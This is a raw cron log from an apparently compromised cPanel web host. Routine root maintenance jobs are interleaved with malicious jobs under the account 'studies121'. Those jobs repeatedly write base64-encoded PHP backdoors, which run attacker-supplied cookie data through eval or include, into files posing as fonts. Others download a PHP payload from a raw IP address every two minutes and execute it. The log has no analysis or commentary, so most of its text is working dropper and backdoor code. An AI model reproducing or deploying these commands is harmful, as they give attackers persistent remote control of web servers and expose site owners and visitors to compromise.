Aug 30 10:29:01 ip-184-168-122-23 CROND[25001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:29:01 ip-184-168-122-23 CROND[25002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:30:02 ip-184-168-122-23 CROND[25084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:30:02 ip-184-168-122-23 CROND[25085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:30:02 ip-184-168-122-23 CROND[25089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:30:02 ip-184-168-122-23 CROND[25091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:30:02 ip-184-168-122-23 CROND[25092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:30:02 ip-184-168-122-23 CROND[25095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:30:02 ip-184-168-122-23 CROND[25098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:30:02 ip-184-168-122-23 CROND[25100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:31:01 ip-184-168-122-23 CROND[25198]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:31:01 ip-184-168-122-23 CROND[25199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:31:01 ip-184-168-122-23 CROND[25202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:31:01 ip-184-168-122-23 CROND[25203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:31:01 ip-184-168-122-23 CROND[25204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:32:01 ip-184-168-122-23 CROND[25330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:32:01 ip-184-168-122-23 CROND[25332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:32:01 ip-184-168-122-23 CROND[25333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:32:01 ip-184-168-122-23 CROND[25334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:32:01 ip-184-168-122-23 CROND[25335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:33:01 ip-184-168-122-23 CROND[25523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:33:01 ip-184-168-122-23 CROND[25524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:33:01 ip-184-168-122-23 CROND[25526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:33:01 ip-184-168-122-23 CROND[25527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:34:01 ip-184-168-122-23 CROND[25627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:34:01 ip-184-168-122-23 CROND[25629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:34:01 ip-184-168-122-23 CROND[25632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:34:01 ip-184-168-122-23 CROND[25630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:34:01 ip-184-168-122-23 CROND[25631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:35:01 ip-184-168-122-23 CROND[25734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:35:01 ip-184-168-122-23 CROND[25736]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 10:35:01 ip-184-168-122-23 CROND[25739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:35:01 ip-184-168-122-23 CROND[25738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:35:01 ip-184-168-122-23 CROND[25741]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:35:01 ip-184-168-122-23 CROND[25740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:35:01 ip-184-168-122-23 CROND[25742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:35:01 ip-184-168-122-23 CROND[25737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:36:01 ip-184-168-122-23 CROND[25875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:36:01 ip-184-168-122-23 CROND[25879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:36:01 ip-184-168-122-23 CROND[25877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:36:01 ip-184-168-122-23 CROND[25878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:36:01 ip-184-168-122-23 CROND[25880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:37:01 ip-184-168-122-23 CROND[25977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:37:01 ip-184-168-122-23 CROND[25975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:37:01 ip-184-168-122-23 CROND[25976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:37:01 ip-184-168-122-23 CROND[25978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:38:01 ip-184-168-122-23 CROND[26073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:38:01 ip-184-168-122-23 CROND[26076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:38:01 ip-184-168-122-23 CROND[26075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:38:01 ip-184-168-122-23 CROND[26077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:38:01 ip-184-168-122-23 CROND[26078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:39:01 ip-184-168-122-23 CROND[26191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:39:01 ip-184-168-122-23 CROND[26192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:39:02 ip-184-168-122-23 CROND[26197]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 10:39:02 ip-184-168-122-23 CROND[26195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:39:02 ip-184-168-122-23 CROND[26196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:40:01 ip-184-168-122-23 CROND[26412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:40:01 ip-184-168-122-23 CROND[26414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:40:01 ip-184-168-122-23 CROND[26416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:40:01 ip-184-168-122-23 CROND[26418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:40:01 ip-184-168-122-23 CROND[26419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:40:01 ip-184-168-122-23 CROND[26422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:40:01 ip-184-168-122-23 CROND[26423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:40:01 ip-184-168-122-23 CROND[26421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:41:01 ip-184-168-122-23 CROND[26551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
